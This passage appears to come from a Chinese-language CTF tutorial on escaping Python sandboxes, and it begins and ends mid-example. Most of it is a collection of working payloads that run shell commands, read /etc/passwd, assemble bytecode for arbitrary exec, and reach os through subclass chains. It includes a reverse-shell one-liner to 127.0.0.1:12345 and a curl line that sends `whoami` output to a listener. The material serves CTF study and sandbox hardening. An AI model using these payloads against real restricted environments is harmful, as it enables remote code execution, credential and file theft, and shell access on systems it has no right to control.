req = requests.get(host,params=param)

if req.status_code == 200:
res += c
break
print(res)

沙箱逃逸

逃逸目标

命令执行

import

1
from os import system as __getattr__; from __main__ import sh

os
os.system
os.popen
os.posix_spawn
os.exec*
os.spawnv

1
2
3
4
5
6
7
8
9
import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()
__import__('os').system('ls')
os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)
os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])

os.exec*()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os

# os.execl
os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')

# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)

# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])

# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)

# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])

# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)

os.fork() with os.exec*()

1
(__import__('os').fork() == 0) and __import__('os').system('ls')

commands

1
2
3
4
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

ctypes

1
2
3
4
import ctypes

libc = ctypes.CDLL(None)
libc.system('ls ./'.encode()) # 使用 encode() 方法将字符串转换为字节字符串
1
2
import ctypes
ctypes.CDLL(None).system('ls /'.encode())
1
__import__('ctypes').CDLL(None).system('ls /'.encode())

threading

1
2
3
4
5
6
7
8
import threading
import os

def func():
os.system('ls') # 在新的线程中执行命令

t = threading.Thread(target=func) # 创建一个新的线程
t.start() # 开始执行新的线程
1
2
3
4
5
6
写成一行
# eval, exec 都可以执行的版本
__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()

# exec 可执行
import threading, os; threading.Thread(target=lambda: os.system('ls')).start()

subprocess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

# python2
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)

# python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)

multiprocessing

1
2
3
4
5
6
7
8
import multiprocessing
import os

def func():
os.system('ls')

p = multiprocessing.Process(target=func)
p.start()
1
2
import multiprocessing
multiprocessing.Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
1
__import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()

_posixsubprocess

1
2
3
4
5
6
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

pty
仅限linux环境

1
2
3
import pty
pty.spawn("ls")
__import__('pty').spawn("ls")

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

exec

1
exec('__import__("os").system("ls")')

eval

1
eval('__import__("os").system("ls")')

eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。

1
eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

platform

1
2
3
4
import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')
print platform.popen('dir').read()

importlib

1
2
3
4
import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

sys

1
2
import sys
sys.modules['os'].system('calc')

linecache

1
2
import linecache
linecache.os.system('ls')

__builtins__
__builtins__: 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入
它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因。
我们可以使用 dir() 查看当前模块的属性列表. 其中就可以看到 __builtins__
内置的函数中 open 与文件操作相关,(python2 中为 file 函数)

1
2
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

__builtins__除了读取文件之外还可以通过调用其 __import__ 属性来引入别的模块执行命令。

1
2
3
>>> __builtins__.__import__
<built-in function __import__>
>>> __builtins__.__import__('os').system('ls')

由于每个导入的模块都会留存一个 __builtins__ 属性,因此我们可以在任意的模块中通过__builtins__来引入模块或者执行文件操作。需要注意的是,__builtins__在模块级别和全局级别的表现有所不同。

在全局级别(也就是你在Python交互式解释器中直接查看__builtins__时),__builtins__实际上是一个模块<module ‘__builtin__’ (built-in)>。

在模块级别(也就是你在一个Python脚本中查看__builtins__),__builtins__是一个字典,这个字典包含了__builtin__模块中所有的函数和类。

因此,当通过其他模块的 __builtins__时,如__import__(‘types’).__builtins__时,实际上看到的是一个字典,包含了所有的内建函数和类。此时调用的方式有所变化。

1
2
>>> __import__('types').__builtins__['__import__']
<built-in function __import__>

很多时候我们要获取 builtins,获取 builtins 方法多样,需要结合已有的条件加以分析,如果存在内置函数,则可以通过 __self__ 快速获取 builtins 模块。

1
2
print.__self__
print.__self__.exec

help函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
以下面的环境为例

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

1
help()

然后输入 os,此时会进入 os 的帮助文档。

1
help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

1
2
3
4
help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt
$

breakpoint 函数
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

1
2
3
4
5
6
7
8
9
>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txt

反弹shell

1
2
3
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

其他

1
2
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys

构造代码对象进行RCE

CodeType 是 python 的内置类型之一,用于表示编译后的字节码对象。CodeType 对象包含了函数、方法或模块的字节码指令序列以及与之相关的属性。

CodeType 对象具有以下属性:

co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
co_cellvars: 函数内部使用的闭包变量的名称列表。
co_code: 函数的字节码指令序列,以二进制形式表示。
co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
co_filename: 函数所在的文件名。
co_firstlineno: 函数定义的第一行所在的行号。
co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
co_kwonlyargcount: 函数的关键字参数数量。
co_lines: 函数的源代码行列表。
co_linetable: 函数的行号和字节码指令索引之间的映射表。
co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
co_name: 函数的名称。
co_names: 函数中使用的全局变量的名称列表。
co_nlocals: 函数中局部变量的数量。
co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
co_posonlyargcount: 函数的仅位置参数数量。
co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
co_varnames: 函数中局部变量的名称列表。

假设存在如下的一个函数.

1
2
3
4
5
6
7
8
9
10
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

我们可以通过 get_flag.__code__ 获取其代码对象. 代码对象包含了关于代码的所有信息, 例如 co_code 属性存储了字节码信息, 因此修改这个字节码就可以达到修改函数执行的目的, 但需要注意的是,python 可以将某个函数的 __code__ 对象整个进行修改。仅仅修改其中的子属性是不行的。如下所示, python 会抛出异常.

1
2
3
4
5
6
>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03d\x05\x84\x00}\x04|\x00|\x02k\x02\x00\x00\x00\x00r\x0b\x02\x00|\x04d\x06\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00d\x07S\x00'
>>> get_flag.__code__.co_code = 1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: attribute 'co_code' of 'code' objects is not writable

这种情况下,我们需要构造一个新的代码对象并主动执行.具体步骤如下:
1.第一步,本地构造 payload

1
2
def read():
return print(open("/etc/passwd",'r').read())

2.获取创建代码对象所需的参数, 通过 help 或者 __doc__ 属性进行获取, 不同的版本有所差异, 我在本地测试时版本为 python 3.11.2,此时 code 需要传入 17 个参数,且不支持关键字传递。

1
2
3
>>>> import types
>>> help(types.CodeType)
code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(), /)

3.参数赋值。获取到所需的参数之后,我们可以将这些参数先保存在变量中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
code = read.__code__

argcount = code.co_argcount
posonlyargcount = code.co_posonlyargcount
kwonlyargcount = code.co_kwonlyargcount
nlocals = code.co_nlocals
stacksize = code.co_stacksize
flags = code.co_flags
codestring = code.co_code
constants = code.co_consts
names = code.co_names
varnames = code.co_varnames
filename = code.co_filename
name = code.co_name
qualname = code.co_qualname
firstlineno = code.co_firstlineno
linetable = code.co_linetable
exceptiontable = code.co_exceptiontable
freevars = code.co_freevars
cellvars = code.co_cellvars

4.创建代码对象。创建代码对象需要调用 types.CodeType。

1
2
import types
codeobj = types.CodeType(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars)

也可以使用 builtins 中的 type 函数获取到这个类

1
code_type = type((lambda: None).__code__)

5.调用函数。从代码对象进行调用需要创建一个函数对象, 获取这个类可以使用 type 函数,或者直接 import

1
function_type = type(lambda: None)

创建函数对象所需的参数如下,可以通过 help 函数查看

1
function(code, globals, name=None, argdefs=None, closure=None)

一般情况下只需要前两个参数即可:

1
2
3
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(codeobj, mydict, None, None, None)()

6.调用函数也可以直接使用 eval 或者 exec

1
eval(codeobj)

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def read():
return print(open("/etc/passwd",'r').read())

function_type = type(lambda: None)
code_type = type((lambda: None).__code__)

code = read.__code__

argcount = code.co_argcount
posonlyargcount = code.co_posonlyargcount
kwonlyargcount = code.co_kwonlyargcount
nlocals = code.co_nlocals
stacksize = code.co_stacksize
flags = code.co_flags
codestring = code.co_code
constants = code.co_consts
names = code.co_names
varnames = code.co_varnames
filename = code.co_filename
name = code.co_name
qualname = code.co_qualname
firstlineno = code.co_firstlineno
linetable = code.co_linetable
exceptiontable = code.co_exceptiontable
freevars = code.co_freevars
cellvars = code.co_cellvars


mydict = {}
mydict['__builtins__'] = __builtins__

codeobj = code_type(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars)
# code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(),/)

# function_type(codeobj, mydict, None, None, None)()
eval(codeobj)

最终可以成功读取 /etc/passwd

读写文件

file 类

1
2
3
# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

1
2
3
open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

get_data 函数
FileLoader 类

1
2
# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

相比于获取 __builtins__再使用 open 去进行读取,使用 get_data 的 payload 更短

codecs模块

1
2
import codecs
codecs.open('test.txt').read()

linecache 模块
getlines 函数

1
2
3
>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

1
__import__("linecache").getline('/etc/passwd',1)

license 函数

1
2
3
4
5
6
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

枚举目录

os 模块

1
2
3
4
import os
os.listdir("/")

__import__('os').listdir('/')

glob模块

1
2
3
4
import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__属性.这个__code__属性就是上面的代码对象,存放了大量有关于该函数的信息。

假设上下文存在一个函数

1
2
3
4
5
6
7
8
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

__code__属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

co_argcount: 函数的参数数量,不包括可变参数和关键字参数。

co_cellvars: 函数内部使用的闭包变量的名称列表。

co_code: 函数的字节码指令序列,以二进制形式表示。

co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。

co_exceptiontable: 异常处理表,用于描述函数中的异常处理。

co_filename: 函数所在的文件名。

co_firstlineno: 函数定义的第一行所在的行号。

co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。

co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。

co_kwonlyargcount: 函数的关键字参数数量。

co_lines: 函数的源代码行列表。

co_linetable: 函数的行号和字节码指令索引之间的映射表。

co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。

co_name: 函数的名称。

co_names: 函数中使用的全局变量的名称列表。

co_nlocals: 函数中局部变量的数量。

co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。

co_posonlyargcount: 函数的仅位置参数数量。

co_qualname: 函数的限定名称,包含了函数所在的模块和类名。

co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。

co_varnames: 函数中局部变量的名称列表。

获取函数中的常量
可以使用 __code__.co_consts这种方法获取常量

1
2
>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量名称
则可以使用如下的 payload 获取 get_flag 函数中的变量信息

1
2
3
4
5
6
__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列
get_flag 函数的 __code__.co_code, 可以获取到函数的字节码序列

1
2
>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
0 RESUME 0
2 LOAD_CONST 1
4 STORE_FAST 1
6 LOAD_CONST 2
8 STORE_FAST 2
10 LOAD_CONST 3
12 LOAD_CONST 4
14 BUILD_LIST 2
16 STORE_FAST 3
18 LOAD_FAST 0
20 LOAD_FAST 2
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)
30 LOAD_CONST 5
32 RETURN_VALUE
>> 34 LOAD_CONST 6
36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__对象,也可以通过 dis.disassemble 获取更清晰的表示.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
1 0 RESUME 0

2 2 LOAD_CONST 1 (1)
4 STORE_FAST 1 (var1)

3 6 LOAD_CONST 2 ('secretcode')
8 STORE_FAST 2 (var2)

4 10 LOAD_CONST 3 ('some')
12 LOAD_CONST 4 ('array')
14 BUILD_LIST 2
16 STORE_FAST 3 (var3)

5 18 LOAD_FAST 0 (some_input)
20 LOAD_FAST 2 (var2)
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)

6 30 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
32 RETURN_VALUE

8 >> 34 LOAD_CONST 6 ('Nope')
36 RETURN_VALUE

修改函数信息

使用types.CodeType进行修改

修改常量
先打印函数常量格式

1
2
oCode = src.__code__.co_consts
print(oCode)

然后修改常量控制函数参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
src.__code__= types.CodeType(oCode.co_argcount, 
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
(None, '/flag', 'r', 'utf-8', ('encoding',))
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)

修改函数字节码
执行输入的hex

1
2
3
4
from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),())
a = x()

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import dis

def assemble(ops):
cache = bytes([dis.opmap["CACHE"], 0])
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
ret += cache * dis._inline_cache_entries[opc]
return ret

co_code = assemble(
[
("RESUME", 0),
("LOAD_CONST", 115),
("UNPACK_EX", 29),
("BUILD_TUPLE", 28),
("POP_TOP", 0),
("SWAP", 2),
("POP_TOP", 0),
("LOAD_CONST", 115),
("SWAP", 2),
("BINARY_SUBSCR", 0),
("COPY", 1),
("CALL", 0), # input

("LOAD_CONST", 115),
("UNPACK_EX", 21),
("BUILD_TUPLE", 20),
("POP_TOP", 0),
("SWAP", 2),
("POP_TOP", 0),
("LOAD_CONST", 115),
("SWAP", 2),
("BINARY_SUBSCR", 0),
("SWAP", 2),
("CALL", 0), # exec

("RETURN_VALUE", 0),
]
)
print(co_code.hex())

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from opcode import opmap


co_code = bytes([
opmap["KW_NAMES"], 0,
opmap["RESUME"], 0,
opmap["PUSH_NULL"], 0,
opmap["LOAD_FAST"], 82, # exec
opmap["LOAD_FAST"], 6, # my input
opmap["PRECALL"], 1,
opmap["CACHE"],
opmap["CACHE"],
opmap["CALL"], 1,
opmap["CACHE"],
opmap["CACHE"],
])


payload = co_code.ljust(176, b"B") # add padding util the input limit is reached
print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")

LOAD_FAST

1
2
(lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=(
)), {})()["exec"]("import os;os.system('ls')")

获取环境信息

获取 python 版本
sys 模块

1
2
import sys
sys.version

platform模块

1
2
import platform
platform.python_version()

获取 linux 版本
platform 模块

1
2
import platform
platform.uname()

获取路径

1
2
sys.path
sys.modules

获取全局变量

globals 函数
globals 函数可以获取所有的全局变量。下面是一个例题,题目的目标就是获取 fake_key_var_in_the_local_but_real_in_the_remote 的值进入 backdoor 函数。这里使用 globals 就可以获取 fake_key_var_in_the_local_but_real_in_the_remote 的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

help函数
help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 main 之后可以获取当前模块的信息。

1
help> __main__

相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。

vars 函数
vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()

获取模块内部函数或变量

获取指定模块内部变量

获取模块内部函数或变量的目的主要是为了信息泄露或篡改。比如 waf.py 中存在某个变量定义了危险字符列表,我们可以考虑先获取这个变量然后将其清空。

可以先获取 load_module,然后通过 load_module 导入特定的模块,进而篡改其中变量。

1
list(().__class__.__bases__.__iter__().__next__().__subclasses__().__getitem__(84).load_module("waf").__dict__.values()).__getitem__(8).clear()

获取 __main__ 中变量

例如获取 __main__

1
sys.modules['__main__'].__dict__['app']

获取命名空间中的变量/模块/函数等

__globals__是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。

1
2
url_for.__globals__['request']
url_for.__globals__['current_app']

删除文件

打开文件后没有close

1
cat /proc/*/fd/*

删除模块

1
del __builtins__.__dict__['eval']

reload

reload 函数可以重新加载模块
在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块

1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

sys.modules

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此只需要将 os 模块删除,然后再次导入

1
2
3
4
5
sys.modules['os'] = 'not allowed'

del sys.modules['os']
import os
os.system('ls')

globals

globals() 中存放了 builtins 模块的索引

1
globals()["__builtins__"]['breakpoint']

继承链

1
2
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")


#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
1
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

利用生成器栈帧逃逸

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。

yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。

简单的例子

1
2
3
4
5
6
7
8
9
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

如果我们给a定义一个范围,a<=100 ,可以使用for语句一次性输出

1
2
3
4
5
6
7
8
def f():
a=1
for i in range(100):
yield a
a+=1
f=f()
for value in f:
print(value)

生成器表达式

生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。

但是使用圆括号而不是方括号

1
2
3
4
a=(i+1 for i in range(100))
#next(a)
for value in a:
print(value)

生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息

举例使用gi_frame获取当前帧的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
